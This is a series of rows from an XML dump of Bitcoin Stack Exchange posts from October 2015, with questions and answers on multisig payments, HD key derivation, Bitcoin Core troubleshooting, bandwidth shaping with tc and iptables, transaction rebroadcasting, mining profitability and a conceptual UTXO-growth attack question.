  <row Id="41114" PostTypeId="2" ParentId="41113" CreationDate="2015-10-29T21:02:31.663" Score="4" Body="&lt;p&gt;Simple answer, no. What you're most likely talking about are interesting ways to use script to pay to a m-of-n multisig, for example. Generally, when you get paid in bitcoin, you, as the merchant, get to choose where the customer sends the bitcoin. This can be 2-of-3 multisig, which would mean 2 of the 3 people you choose have to agree in order to move the bitcoins or something much more complicated. But the address that the user sends the money to is entirely up to you, the merchant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more complex answer is maybe. It is possible if you're using some complicated escrow system that a customer may be able to hold the bitcoins hostage, but that's not something you have to worry about unless you specifically choose that sort of payment system. The vast majority of merchants that take bitcoin don't do business this way, they simply take payment into a standard bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-29T21:02:31.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41115" PostTypeId="2" ParentId="41067" CreationDate="2015-10-29T21:32:22.160" Score="2" Body="&lt;p&gt;I don't know of a solution that works out-of-the-box with the requirements you've set. However, you can do some of what you need using some command-line tools available on github.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pycoin has a key utility which can be used to derive bip0032 addresses given a root. Here's a quick primer on how to use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git clone http://github.com/richardkiss/pycoin&#xA;$ cd pycoin&#xA;$ sudo make&#xA;$ ku &amp;lt;your xpub or xprv key&amp;gt; -s 0/1/2/3/4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will show you the data on the bip0032 key at the path m/0/1/2/3/4. If you add the &lt;code&gt;-a&lt;/code&gt; argument, you can get the address at this path. If you add the &lt;code&gt;-W&lt;/code&gt; argument instead (using an xprv key), you get the WIF format. This WIF format can be imported to bitcoind and that in turn can be used to notify you and do what you need afterwards. You can delete that key after payment, which should generally leave the number of addresses being watched lower than it might be (though you'll want to purge every once in a while). This could work, but I would NOT recommend it as it's horrible security. Of course, that's probably why you're forwarding funds to another address right away, so that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're going to have to write some code regardless. bitcore is a fine library for doing HD wallet stuff, but the notification is always the tricky bit.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-29T21:32:22.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41116" PostTypeId="1" CreationDate="2015-10-29T21:43:48.897" Score="3" ViewCount="289" Body="&lt;p&gt;I see some BTC to BTC trades on Ripple.&#xA;Are these just transfers from one exchange to another?&#xA;Or, is Ripple being used as a mixer?&lt;/p&gt;&#xA;" OwnerUserId="30017" LastActivityDate="2017-12-05T22:17:54.103" Title="BTC to BTC trades on Ripple" Tags="|ripple|mixing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41117" PostTypeId="1" CreationDate="2015-10-29T22:13:34.757" Score="3" ViewCount="2033" Body="&lt;p&gt;I have Bitcoin Core v0.11.0 installed on a machine that's running Windows XP.  After waiting several days to completely synchronize, I decided to update the bincoin.conf file.  I didn't see one where it was supposed to be, so I created a new file that had nothing but the following line it it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;txindex = 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saved the file in the appropriate directory and restarted Bitcoin.  Upon starting, it basically said that I had to start synchronizing from scratch (it said I was over 6 years behind).  It then crashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I decided to get things back to the way they were before.  I simply deleted the bitcoin.conf file that I had created, thinking that everything would go back to normal.  It didn't.  Now the program crashes every time I try to start it.  A window pops up that says&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Bitcoin Core (GUI node for Bitcoin) has encountered a problem and needs to close.  We are sorry for the inconvenience.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what do I do now?  How do I get Bitcoin Core to stop crashing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;%%%% UPDATE %%%%%%%%%%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the debug log, the first line to show an error is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2015-10-30 02:56:56 Error: Couldn't open socket for incoming connections (socket returned error An address incompatible with the requested protocol was used.  (10047))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried saving the bitcoin folder (the one that has the huge blockchain) as a backup and then re-installing The entire program.  After re-installation, if I let it create its own new &quot;Bitcoin&quot; folder, everything is fine.  Then when I try to put the blockchain folders inside the bitcoin folder, that it created, I get the error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope re-installation wasn't a mistake.  I have the blockchain.  I'd hate to have to re-acquire the whole thing again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, I really appreciate your speedy responses.  That's excellent!&lt;/p&gt;&#xA;" OwnerUserId="30217" LastEditorUserId="30217" LastEditDate="2015-10-30T13:47:56.650" LastActivityDate="2017-12-30T08:47:56.703" Title="Bitcoin Core keeps crashing" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41118" PostTypeId="2" ParentId="41102" CreationDate="2015-10-29T23:33:49.880" Score="1" Body="&lt;p&gt;The bitcoin network is only as connected as each node wants to be. The protocol is designed in such a way as to incentivize being connected to the network, so in practice, almost every full node is connected to a lot of other nodes and hence, there's at least a very good chance of a short path between any two nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that's not to say that every node is connected. It is entirely possible to run a full node that's not connected, like you seem to have done. In your case, it seems C does not have any peers, so C's mined block won't get to anyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run this command to see which peers it has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getpeerinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll want to add connections this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli addnode &amp;lt;node ip and port&amp;gt; add&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-29T23:33:49.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41119" PostTypeId="1" CreationDate="2015-10-30T04:50:37.570" Score="2" ViewCount="262" Body="&lt;p&gt;Does anyone have any helpful tips on getting the best hash rate out of my miner? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My miner works fine, it just that I'm getting a crummy 1.65 to 1.89 TH/s rate. &lt;/p&gt;&#xA;" OwnerUserId="30220" LastEditorUserId="10658" LastEditDate="2017-12-05T19:17:47.843" LastActivityDate="2017-12-05T19:17:47.843" Title="How to get best hashing results AntMiner S4" Tags="|miner-configuration|antminer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41120" PostTypeId="2" ParentId="41113" CreationDate="2015-10-30T05:04:06.797" Score="2" Body="&lt;p&gt;No. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin scripts only have control over the spendability of funds (yes, or no) and they don't have a view of where the output is being spent to. A concept of a system where they do have this ability is called a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=278122.0&quot; rel=&quot;nofollow&quot;&gt;coin covenant&lt;/a&gt;, and is generally thought to be a terrible idea for some of the reasons outlined in that thread. If you are paid to a Pubkey Hash script (Bitcoin address starting with 1) the funds are irrevocably controlled by you no matter what.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I was reading that it is possible to program simple contracts into bitcoins to ensure that the recipient must spend the coin in a specific way [snip]. Here is simplified video that discusses this as a feature but does not go into the security implications of it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not a feature of Bitcoin, the video is incorrect. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-10-30T05:04:06.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41121" PostTypeId="1" CreationDate="2015-10-30T05:33:13.730" Score="2" ViewCount="182" Body="&lt;p&gt;The bitcoin github repo has a  bash script given to control the flow of outbound traffic by using the bash script given  on : &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/contrib/qos/tc.sh&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/contrib/qos/tc.sh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running two bitcoind instances on a local machine with different ports: 18441 and 18442, how do I make use of this script or tweak it, to control the connection bandwidth between the two bitcoind instances ?&lt;/p&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2015-11-29T17:20:28.443" Title="Controlling bitcoind connection bandwidth" Tags="|bitcoind|bandwidth|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41122" PostTypeId="1" AcceptedAnswerId="41158" CreationDate="2015-10-30T07:17:44.073" Score="6" ViewCount="4268" Body="&lt;p&gt;How do I make RPC calls from C?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is related to the question: &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5810/how-do-i-call-json-rpc-api-using-c&quot;&gt;How do I call JSON RPC API using C#?&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2018-11-25T15:53:48.177" Title="How to call JSON RPC API from C?" Tags="|json-rpc|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41123" PostTypeId="1" CreationDate="2015-10-30T07:46:07.037" Score="2" ViewCount="124" Body="&lt;p&gt;as above i'm wondering that how fast (mh/s) can a R9 280X can and how can i calculate the bitcoin i can have per days because i'm newb to this mining&lt;/p&gt;&#xA;" OwnerUserId="30223" LastActivityDate="2015-10-30T21:24:17.530" Title="how fast does a Sapphire R9 280X Varpor-X Tri-X can and how can i calculate the bitcoin i can have pers day?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41124" PostTypeId="1" CreationDate="2015-10-30T08:05:09.267" Score="3" ViewCount="175" Body="&lt;p&gt;The situation: I recently turned on my rather old Fujitsu notebook where I had/have a Bitcoin Qt wallet intended for storage of Bitcoin only. I realised that the RAM memory/storage space was insufficient to syncronise the wallet, so I sent the 'unsynced' content of that wallet to a multibit wallet on another computer where I have other bitcoins. &lt;strong&gt;The bitcoin sent from my Bitcoin Qt wallet have not arrived&lt;/strong&gt;,and unless I add some more memory to my old Fujitsu (difficult I am told), I am not able to reactivate my Bitcoin Qt wallet. Nonetheless, I have backed up the Bitcoin Qt wallet.dat file on an external hard-drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions: 1) Do I just have to be patient and wait for the transaction to be processed, and/or, 2) is there something I can do with my wallet.dat file such as opening up a Bitcoin Core wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much  &lt;/p&gt;&#xA;" OwnerUserId="30222" LastActivityDate="2016-10-11T20:41:14.750" Title="Bitcoin sent from unsyncronised (2013) Bitcoin-Qt wallet to Multibit wallet have not arrived" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41125" PostTypeId="1" AcceptedAnswerId="41148" CreationDate="2015-10-30T09:25:54.703" Score="11" ViewCount="72296" Body="&lt;p&gt;My friend asked me to do a research for him on bitcoin mining, I don't know a lot so I'm asking. He's consider buying either NVIDIA gtx titan or NVIDIA gtc 980. Decent motherboard and internet speed. I stumbled upon a question on this site which says that Gpu and Cpu mining is over, it's all about ASIC now, but we can't afford ASIC.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All in USA, we're living in Lebanon&lt;/li&gt;&#xA;&lt;li&gt;Overly expensive and we didn't count shipping costs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now I want you to consider&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Internet is free&lt;/li&gt;&#xA;&lt;li&gt;Electricity is free&lt;/li&gt;&#xA;&lt;li&gt;Other than buying the hardware, we have no expenses at all&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My question now is the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In best case scenario, using NVIDIA gtx titan or NVIDIA gtc 980, how&#xA;much bitcoin can we expect to mine? (unless it's really dead)&lt;/li&gt;&#xA;&lt;li&gt;Is it wise to buy NVIDIA gtx titan or NVIDIA gtc 980 to mine bitcoins if you don't pay taxes? Would it pay off?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5321" LastEditorUserId="5406" LastEditDate="2016-02-21T15:50:44.670" LastActivityDate="2016-06-10T00:17:42.307" Title="Is Gpu mining still an option?" Tags="|mining-profitability|gpu-mining|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41126" PostTypeId="2" ParentId="41124" CreationDate="2015-10-30T11:19:35.717" Score="1" Body="&lt;p&gt;If you don't want Bitcoin Core GUI (Bitcoin-Qt) to download new blocks, you can start it with the &lt;code&gt;-maxconnections=0&lt;/code&gt; option; this should allow you to use it on any machine upon which it previously worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have it open, go to the transactions screen and find your transaction.  Right-click on it and choose the option &quot;Copy transaction ID&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YYSoM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YYSoM.png&quot; alt=&quot;copy txid&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open the built-in console.  Starting from the menu at the top: Help → Debug menu → Console tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type in the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gettransaction &amp;lt;paste&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;&amp;lt;paste&amp;gt;&lt;/code&gt; with a paste of the transaction ID (txid) you previously copied.  You can leave the weird &lt;code&gt;-000&lt;/code&gt; on the end of the txid in Bitcoin Core 0.11.1, but you might have to delete it from earlier versions.  Press return to get the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Near the end of the output should be a field label &quot;hex&quot;.  Copy the long alphanumeric (hex) string that belongs to it.  This is the raw transaction you created encoded in hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to a &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_broadcasting&quot; rel=&quot;nofollow noreferrer&quot;&gt;transaction broadcast&lt;/a&gt; form, paste in that string, and submit.  For redundancy, you may want to try doing it again on a different site.  This will ensure your transaction gets broadcast to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multibit should show that it is receiving an unconfirmed transaction within less than a minute; then you just need to wait for confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. if you don't understand any of these instructions, you may want to ask in the Bitcoin.StackExchange chatroom to make sure the people there agree that these are safe.  You should always be careful taking advice from strangers on the Internet when it comes to your bitcoins. :-)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-10-30T11:19:35.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41127" PostTypeId="1" CreationDate="2015-10-30T11:26:03.013" Score="2" ViewCount="47" Body="&lt;p&gt;Imagine a marketplace where all nominal money prices are the same for products (for tax purposes), but you gain and lose &quot;reputation&quot; in the form of a Bitcoin style transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Case 1: Those who have provided the most value in actual wealth (goods and services) to others, gain reputation (repcoins?).  The money price could be $1, and that is what anyone who pays taxes, calculates that tax, based on. Say you buy a used laptop for $1 + 2 repcoins. You calculate tax, based on the $1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Case 2: One might even ostensibly &quot;collect&quot; dollars with particular characteristics of serial number or whatever, so that you buy the &quot;collectible&quot; dollar, for $1 + 2 repcoins and the laptop is a free gift. That way, no one could accuse you of tax dodging. You paid for the product you wanted (the dollar) They threw in the laptop. &lt;/p&gt;&#xA;" OwnerUserId="30208" LastActivityDate="2015-10-30T11:26:03.013" Title="Is it possible to use the Bitcoin technology as a reputation system for sales?" Tags="|government|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41129" PostTypeId="2" ParentId="41121" CreationDate="2015-10-30T13:36:27.157" Score="0" Body="&lt;p&gt;You are going to want to modify the following two lines in the script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t mangle -A OUTPUT -p tcp -m tcp --dport 8333 ! -d ${LOCALNET} -j MARK --set-mark 0x2&#xA;iptables -t mangle -A OUTPUT -p tcp -m tcp --sport 8333 ! -d ${LOCALNET} -j MARK --set-mark 0x2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make one script with --dport 18441 --sport 18441 and another script with --dport 18442 and --sport 18442&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do want to say though, as far as I understand it's not more efficient to be running two instances of bitcoind from one IP. You would just basically be splitting connections between the two instances when you could be running 1 instance that would have the sum of the connections in your current setup. Basically what you have right now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instance1: 20 connections&#xA;Instance2: 20 connections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with a single instance you would have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SingleInstance: 40 connections&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-10-30T14:52:03.583" LastActivityDate="2015-10-30T14:52:03.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41130" PostTypeId="1" CreationDate="2015-10-30T16:00:49.707" Score="1" ViewCount="511" Body="&lt;p&gt;I have my wallet.dat backup file, but Bitcoin Core isn't able to verify it. How do I retrieve my backup?&lt;/p&gt;&#xA;" OwnerUserId="30233" LastEditorUserId="5406" LastEditDate="2015-12-24T09:29:28.140" LastActivityDate="2015-12-24T09:29:28.140" Title="How do I import my wallet.dat file into a new wallet?" Tags="|wallet|backup|wallet.dat|wallet-import|" AnswerCount="0" CommentCount="2" ClosedDate="2015-12-24T09:30:37.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="41131" PostTypeId="1" CreationDate="2015-10-30T16:58:58.057" Score="2" ViewCount="29" Body="&lt;p&gt;If miners are who do the bookkeeping for bitcoin, what happens when mining is no longer profitable, or there are no more coins to mine? Who does the bookkeeping?&lt;/p&gt;&#xA;" OwnerUserId="30208" LastEditorUserId="5406" LastEditDate="2016-02-04T13:06:09.323" LastActivityDate="2016-02-04T13:06:09.323" Title="What happens when the last bitcoin is mined?" Tags="|mining-reward|reward-schedule|" AnswerCount="0" CommentCount="1" ClosedDate="2015-10-30T17:02:32.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="41132" PostTypeId="2" ParentId="41125" CreationDate="2015-10-30T21:17:17.370" Score="2" Body="&lt;p&gt;GPU's are horribly inefficient compared to ASIC's. Consider that the absolute best GPU's get around 1 GH/s and cost in the $400 range. An Antminer U2 costs around $20 on ebay and gets 2 GH/s.  Antminer U3 costs around $60 and gets 60 GH/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roughly speaking at current network hash rates and current bitcoin price, if you get electricity for free, you can make back the hardware costs of an Antminer U3 in about a year. Of course, if the hash rate goes up, it'll take longer and if the bitcoin price goes up, it'll take shorter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, go get a cheap miner from ebay or somewhere.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-30T21:17:17.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41133" PostTypeId="2" ParentId="41123" CreationDate="2015-10-30T21:24:17.530" Score="1" Body="&lt;p&gt;Hashrate for the Saphire can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't bother GPU mining, especially for SHA-256 (bitcoin). You can blow one of those out of the water with a $20 used USB ASIC on ebay. The days of casual mining are over, you will be operating at a loss unless you have some of the cheapest electricity in the world and a large mining setup. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-10-30T21:24:17.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41134" PostTypeId="2" ParentId="40842" CreationDate="2015-10-30T22:57:55.663" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BitcoinLib&lt;/strong&gt;&lt;/a&gt;'s &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib/blob/master/src/BitcoinLib/Services/RpcServices/RpcExtenderService/RpcExtenderService.cs#L160&quot; rel=&quot;nofollow&quot;&gt;GetTransactionSenderAddress&lt;/a&gt; method, however it is important that you understand that this is a hack, as bitcoin's protocol doesn't support a &quot;sender's address&quot;, and will only work for fat clients such as bitcoin-core etc.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-10-30T22:57:55.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41135" PostTypeId="1" CreationDate="2015-10-31T04:44:02.690" Score="2" ViewCount="115" Body="&lt;p&gt;Since Bitcoin is largely a flooding-based P2P network it means that any message it receives on one of its connections also needs to be routed to all of its other connections. This means that by definition Bitcoin consumes far more upload bandwidth than it does download bandwidth since every downloaded message will also need to be uploaded to every other peer (by a factor of the number of connections - 1.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can assume that a node on the Bitcoin network can only upload messages as fast as it receives them so this means upload is also limited by download. Most ISPs also have far less upload bandwidth available to their customers than download bandwidth so conceivably this means that if a node is maxing its download bandwidth, it will lack the required resources to be able to broadcast those messages to its connected peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: what happens when the messages start to overflow and the node can't keep up? Does Bitcoin maintain some kind of queue for the messages and what does it do when it can't keep up any more? Does it simply start to discard random messages? Also, given that you can't semi-reliably know beforehand what the available bandwidth is (without testing), how would you even set a limit for what size the buffer would need to be (the buffer will overflow eventually if the network can't keep up, right?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry if these questions seem a bit technical but I am genuinely curious how Bitcoin handles this.)&lt;/p&gt;&#xA;" OwnerUserId="24780" LastActivityDate="2015-10-31T18:17:05.217" Title="Does Bitcoin ensure all messages will be broadcast?" Tags="|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41136" PostTypeId="1" CreationDate="2015-10-31T06:42:13.280" Score="3" ViewCount="247" Body="&lt;p&gt;I am trying to connect few bitcoind instance running on different ports on my local machine and control the bandwidth between those connections. I used the &lt;code&gt;tc&lt;/code&gt; utility as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#network interface on which to limit traffic&#xA;IF=&quot;lo&quot;&#xA;#limit of the network interface in question&#xA;LINKCEIL=&quot;1gbit&quot;&#xA;#limit outbound Bitcoin protocol traffic to this rate&#xA;LIMIT=&quot;80bps&quot;&#xA;&#xA;#delete existing rules&#xA;tc qdisc del dev ${IF} root&#xA;&#xA;#add root class&#xA;tc qdisc add dev ${IF} root handle 1: htb default 10&#xA;&#xA;#add parent class&#xA;tc class add dev ${IF} parent 1: classid 1:1 htb rate ${LINKCEIL} ceil ${LINKCEIL}&#xA;&#xA;#add our two classes. one unlimited, another limited&#xA;tc class add dev ${IF} parent 1:1 classid 1:10 htb rate ${LINKCEIL} ceil ${LINKCEIL} prio 0&#xA;tc class add dev ${IF} parent 1:1 classid 1:11 htb rate ${LIMIT} ceil ${LIMIT} prio 1&#xA;&#xA;#add handles to our classes so packets marked with &amp;lt;x&amp;gt; go into the class with &quot;... handle &amp;lt;x&amp;gt; fw ...&quot;&#xA;tc filter add dev ${IF} parent 1: protocol ip prio 1 handle 1 fw classid 1:10&#xA;tc filter add dev ${IF} parent 1: protocol ip prio 2 handle 2 fw classid 1:11&#xA;&#xA;#   --set-mark marks packages matching these criteria with the number &quot;2&quot;&#xA;#   these packages are filtered by the tc filter with &quot;handle 2&quot;&#xA;#   this filter sends the packages into the 1:11 class, and this class is limited to ${LIMIT}&#xA;&#xA;for ((i = 1; i &amp;lt;= 10; i++))&#xA;do&#xA;    iptables -t mangle -A OUTPUT -p tcp -m tcp --dport $((18440 + $i)) -j MARK --set-mark 0x2&#xA;    iptables -t mangle -A OUTPUT -p tcp -m tcp --sport $((18440 + $i)) -j MARK --set-mark 0x2&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have modified the script from the original version: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/contrib/qos/tc.sh&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/contrib/qos/tc.sh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As show in the picture below, the connection for port 18444 is reporting a rate of &lt;code&gt;128 B/s&lt;/code&gt; which is way more than the set &lt;code&gt;LIMIT&lt;/code&gt; of &lt;code&gt;80bps&lt;/code&gt;(80 Bytes/second).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please point me in the right direction, if I am missing out something. I am using &lt;code&gt;tcptrack&lt;/code&gt; to monitor the port connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xrmmX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xrmmX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2015-10-31T06:42:13.280" Title="Unable to limit tcp bandwidth using tc in QoS for localhost" Tags="|bitcoind|network|bandwidth|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41137" PostTypeId="1" CreationDate="2015-10-31T06:47:41.903" Score="3" ViewCount="628" Body="&lt;p&gt;Now bitcoin unspent transaction output growth rate (not total size) can be, 260k utxo/day (3×60×60×24). With 8MB blocks, that's 2.8 million.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Single 1 bitcoin output can be split into 1000 x 1 mBTC outputs, within 100 minutes (10 blocks). Then, those 1000 outputs can be moved individually, as required..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this kind of utxo bloat attack work? Anything wrong with my calculations?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2015-10-31T09:09:14.743" LastActivityDate="2015-11-04T06:18:18.653" Title="What's the maximum possible utxo growth rate now? Can that be turned into an attack?" Tags="|blockchain|security|utxo|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41138" PostTypeId="2" ParentId="39341" CreationDate="2015-10-31T08:03:05.787" Score="1" Body="&lt;p&gt;Add some nodes to help speed it up if it freezes here are a few.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First open bitcoin.conf with notepad or notepad++&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type &quot;addnode &quot; and the ip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example addnode=66.228.49.201&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add as many as you feel you will need save it then restart your client and you should be good to go.&lt;/p&gt;&#xA;" OwnerUserId="5879" LastActivityDate="2015-10-31T08:03:05.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41139" PostTypeId="2" ParentId="41137" CreationDate="2015-10-31T09:35:49.947" Score="3" Body="&lt;p&gt;There is no limit on the size of the UTXO other than the block size as you've described, but your reasoning isn't correct. There is no minimum size of a transaction output, nor maximum number of outputs per transaction. The bulk is limited by the Bitcoin block size of 1MB, or about 50GB per year total additions if the only thing being added was spam outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Volume of outputs is another matter entirely. The smallest possible output is 0 BTC (8 bytes), 0 length (1 byte), null scriptPubKey. If we make a maximum sized transaction (1MB) of these it will have somewhere in realm of 110,000 outputs, with some loss included for inputs and structure. 6 blocks per hour, 24 hours gives 15.8M outputs per day. Note this does not include any indexing overhead, which would be non-negligible for this many entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the proposed solutions include expiring unspent outputs after a particular amount of time, or significantly moving the cost towards creation and incentivising removal of entries. Changes in core operation like this however aren't fast to implement or uncontroversial, and are not a complete solution against an attacker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's one of the drawbacks of the system as implemented and something that needs to be seriously considered before making alterations which could make the problem even worse.  Lots of things become unpalatable in Bitcoin when you change the constants, this is one which is already pretty terrible to begin with. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-11-04T06:18:18.653" LastActivityDate="2015-11-04T06:18:18.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
